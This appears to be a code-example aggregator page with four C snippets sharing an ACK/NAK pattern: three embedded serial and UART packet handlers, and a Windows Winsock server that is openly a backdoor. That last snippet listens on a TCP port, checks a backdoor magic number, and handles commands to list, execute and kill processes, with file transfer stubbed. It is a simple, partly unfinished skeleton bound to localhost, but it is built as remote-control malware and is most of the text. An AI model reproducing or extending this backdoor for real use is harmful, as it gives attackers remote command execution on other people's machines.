//
// SCI_GetPacket - This routine receives the packet, returns the
//                 command and puts the data length in Uin16* length
//                 and data in Uint16* data
//
Uint16 SCI_GetPacket(Uint16* length, Uint16* data)
{
    if(SCIA_GetOnlyWordData() != 0x1BE4)
    {
        SendNAK();
        return(100); //start packet error
    }

    *length = SCIA_GetOnlyWordData();

    checksum = 0; //checksum of command and data
    Uint16 command = SCIA_GetOnlyWordData();

    int i = 0;
    for(i = 0; i < (*length)/2; i++)
    {
        *(data+i) = SCIA_GetOnlyWordData();
    }

    Uint16 dataChecksum = checksum;
    if(dataChecksum != SCIA_GetOnlyWordData())
    {
        SendNAK();
        return(101); //checksum error
    }
    if(SCIA_GetOnlyWordData() != 0xE41B)
    {
        SendNAK();
        return(102); //end packet error
    }

    SendACK();
    return(command);
}
示例#2
0
//
//  Process the data in the Rx buffer.
//
void ProcessUARTData()
{
    switch (_rxBuffer[1])
    {
        case COMMAND_GET_ID:
            break;
        case COMMAND_SET_ID:
            break;
        case COMMAND_GET_CARRIER_FREQUENCY:
            break;
        case COMMAND_SET_CARRIER_FREQUENCY:
            break;
        case COMMAND_GET_PULSE_DATA:
            SendResponse(EEPROM_PULSE_DATA,  ((*EEPROM_PULSE_DATA) * 3) + 1);
            break;
        case COMMAND_SET_PULSE_DATA:
            break;
        case COMMAND_TRANSMIT_PULSE_DATA:
            TransmitPulseData();
            SendACK();
            break;
        default:
            SendNAK(EC_UNKNOWN_COMMAND);
            break;
    }
    _uartMode = UART_MODE_WAITING_FOR_DATA;
}
示例#3
0
__interrupt void UART_R_RXNE_IRQHandler(void)
{
    unsigned char dataByte = UARTPORT(DR);
    if ((_uartMode == UART_MODE_WAITING_FOR_DATA) && (dataByte == 0xaa))
    {
        SetupRxBuffer();
        _uartMode = UART_MODE_RECEIVING_DATA;
    }
    else
    {
        if (_uartMode == UART_MODE_RECEIVING_DATA)
        {
            if (_currentRxCount < (UART_RX_BUFFER_SIZE - 1))
            {
                *_currentRxByte++ = dataByte;
                _currentRxCount++;
                if (_currentRxCount > 1)
                {
                    if ((_rxBuffer[0] - 1) == _currentRxCount)
                    {
                        ProcessUARTData();
                    }
                }
            }
            else
            {
                //
                //  If we get here we have filled the UART Rx buffer.
                //  Not a lot we can do really so reset the system to
                //  wait for a new command.
                //
                SendNAK(EC_RX_BUFFER_OVERFLOW);
                _uartMode = UART_MODE_WAITING_FOR_DATA;
            }
        }
    }
}
示例#4
0
int _tmain(int argc, _TCHAR* argv[])
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    SOCKET server_socket = INVALID_SOCKET;

    sockaddr_in service; // socket address to bind to

    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, 
        &wsaData);
    if (err != 0) 
    {
        // Check if error = WSAVERNOTSUPPORTED and if is --
        // It means ws2_32.dll is too old.  This system needs a serious update.
        wprintf(L"WSAStartup failed with error: %d\n", err);

        return -1;
    }


    //
    // Create a socket 
    //
    server_socket = socket(AF_INET, 
        SOCK_STREAM, 
        IPPROTO_TCP);
    if (server_socket == INVALID_SOCKET) 
    {
        wprintf(L"Create socket failed. Error: %u\n", WSAGetLastError());

        WSACleanup();

        return -1;
    }

    //
    // Fill in sockaddr_in -- Address family, IP address, port
    //
    service.sin_family = AF_INET;
    service.sin_addr.s_addr = inet_addr("127.0.0.1");    //(INADDR_ANY);     //("127.0.0.1");
    service.sin_port = htons(PORT_NUM);

    //
    // Bind the socket
    //

    err = bind(server_socket, 
        (SOCKADDR *) &service, 
        sizeof (service));
    if (err == SOCKET_ERROR)
    {
        wprintf(L"Bind failed. Error: %u\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    }

    //
    // Listen for incoming connections
    //

    if (listen(server_socket, 
        SOMAXCONN) == SOCKET_ERROR)
    {
        wprintf(L"Listen() failed.  Error: %d\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    }

    wprintf(L"Listening on port: %d\n", PORT_NUM);

    //
    // Accept connections
    //
    SOCKET connectSocket;

    connectSocket = accept(server_socket, 
        NULL, 
        NULL);
    if (connectSocket == INVALID_SOCKET) 
    {
        wprintf(L"Accept() failed.  Error: %ld\n", WSAGetLastError());

        closesocket(server_socket);
        WSACleanup();

        return -1;
    } 

    wprintf(L"New client connected!\n");


    //
    // Receive Data
    //

    char recvbuf[RECEIVE_BUFLEN];

    int bytes_received = recv(connectSocket, 
        recvbuf, 
        sizeof(recvbuf),
        0);
    if ( bytes_received > 0 )
    {
        wprintf(L"Bytes received: %d\n", bytes_received);
    }

    //
    // Verify valid backdoor msg
    //

    // IMPORTANT:  For future need to check proper receive length

    char* buf_ptr = recvbuf;

    if(*((DWORD*)buf_ptr) == BACKDOOR_MAGIC_NUMBER)
    {
        wprintf(L"Valid Backdoor message!\n");

        buf_ptr += sizeof(DWORD);

        switch( *((BACKDOOR_MSG*)buf_ptr))
        {
        case BKDOOR_HEARTBEAT:

            wprintf(L"BKDOOR_HEARTBEAT received!\n");

            SendAck(connectSocket);

            break;

        case BKDOOR_PUT_FILE:

            wprintf(L"BKDOOR_PUT_FILE received!\n");

            break;

        case BKDOOR_GET_FILE:
            wprintf(L"BKDOOR_GET_FILE received!\n");
            break;

        case BKDOOR_GET_PROCESS_LIST:
            {
                wprintf(L"BKDOOR_GET_PROCESS_LIST received!\n");

                if(EnumerateProcesses(connectSocket))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }
            break;

        case BKDOOR_EXECUTE_PROCESS:
            {
                wprintf(L"BKDOOR_EXECUTE_PROCESS received!\n");

                BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);

                if(ExecuteProcess(req.szExeFile))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }

            break;


        case BKDOOR_KILL_PROCESS:
            {
                wprintf(L"BKDOOR_KILL_PROCESS received!\n");

                BKDOOR_PROCESS_REQ req = *((BKDOOR_PROCESS_REQ*)recvbuf);

                if(KillProcess(req.th32ProcessID))
                {
                    SendAck(connectSocket);
                }
                else
                {
                    SendNAK(connectSocket);
                }
            }

            break;

        default:
            wprintf(L"Error: Unknown message received!\n");
            break;
        }
    }

    //
    // Cleanup
    //

    closesocket(connectSocket);
    closesocket(server_socket);
    WSACleanup();

    return 0;
}